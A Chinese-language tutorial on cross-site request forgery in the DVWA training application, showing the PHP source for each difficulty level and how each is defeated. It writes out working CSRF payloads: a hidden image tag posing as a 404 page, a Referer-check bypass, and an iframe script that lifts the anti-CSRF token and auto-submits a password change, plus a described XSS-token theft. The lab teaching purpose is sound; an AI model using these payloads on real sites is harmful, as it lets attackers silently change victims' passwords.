CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。在2013年发布的新版OWASP Top 10中,CSRF排名第8。

1.先看下在low级别下的源代码
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
2.分析如上代码,发现在服务器端并没有做CSRF防御,我们只需要构造一个访问修改密码的URL链接,将参数拼接后,发送给被攻击者,引诱其点击即可,
例如:http://169.254.36.73/DVWA-master/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#
但是,这种方式太过明显,稍微有点意识的人一眼就能识破。所以我们需要伪装一下,构造一个html文件,将其隐藏起来。
<img src="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change" style="display:none;"/>
<h1>404 ERROR !<h1>
<h2>Files Not Found.<h2>
当受害者访问构造的文件时,就会触发CSRF攻击,将密码不知不觉修改掉。而受害者只是以为点了一个错误页面而已。如图:
3.其次还可以使用短链接来隐藏URL,这是百度短网址地址:https://dwz.cn/,这里因为没有公共域名无法缩短带有ip的本地地址,所以不进行演示,但是却可以隐藏攻击手段。
4. 再来看中级别Medium源代码,它在low的基础上增加了对http_referer头的校验,通过判断该头的主机地址是否来自DVWA,如果是,就认为是安全的不存在CSRF攻击,其实这种判断根本上是不能购防止CSRF攻击的。因为很容以被绕过。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
观察上面的Referer头,只要包含了目标主机地址就可以绕过,所以我们可以将构造的文件名称起为:169.254.36.73.html
再将其部署到攻击者的服务器上,然后诱导受害者点击,即可。为了方便就部署在了本地tomcat上了。
上面的Referer头就可以绕过服务器端的referer检查,攻击成功绕过。
5.在看High级别代码如下,发现服务端代码增加了token验证机制,看似已经可以防御CSRF攻击了,但是并不是无懈可击,这种防御机制,如果网站或系统存在XSS漏洞,可以结合xss漏洞来获取user_token,实现攻击。
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
<script type="text/javascript">
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" style="display:none;">
</iframe>
<body onload="attack()">
<form method="GET" id="transfer" action="http://169.254.36.73/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
攻击思路是当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://169.254.36.73/DVWA-master/vulnerabilities/csrf/,位于服务器169.254.36.73上,而我们的攻击页面位于黑客服务器上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以我们要将攻击代码注入到目标服务器169.254.36.73中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)
这里的Name存在XSS漏洞,于是抓包,改参数,成功弹出token
这里只是简单的弹出,现实攻击中可以将token发送到攻击者服务器,进行构造,然后再诱导受害者访问攻击者服务器上的链接,进行csrf攻击,即可成功。
6. impossible级别代码如下
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
CSRF总结:
Low:
接收两个GET参数,将密码拼接在Url后,引导用户访问即可,无同源策略限制。引导方法:
A.发邮件、转短连接隐藏地址,但是会进入修改成功的提示页,用户会有所察觉;
B.构造攻击页面,插入<img src='改密url'/>标签, 用户访问时,浏览器加载图片时自动修改密码。
Medium:
同上,只是增加了HTTP_REFERER的限制,无同源限制。
在构造的链接上缀上参数即可: abc.com/test.html?hello=[SERVER_NAME~balabala]
High:
增加了Token的限制,使用session中的token进行回话验证。
需要获取Token后才能模拟请求,登录后才能访问该页面获取token,但是浏览器有同源策略限制。
在同源策略下abc.com域名的网页无法访问localhost的cookie,也就无法获取到页面的token。
需要配合xss漏洞,在xss页面注入js实现改密操作。
Impossible:
使用Token验证,并增加了旧密码的验证。
不知道旧密码则无法修改,彻底防御了csrf;使用token+同源策略防止了暴力重试。
参考说明:
本文参考内容作者:lonehand 参考链接: https://www.freebuf.com/articles/web/118352.html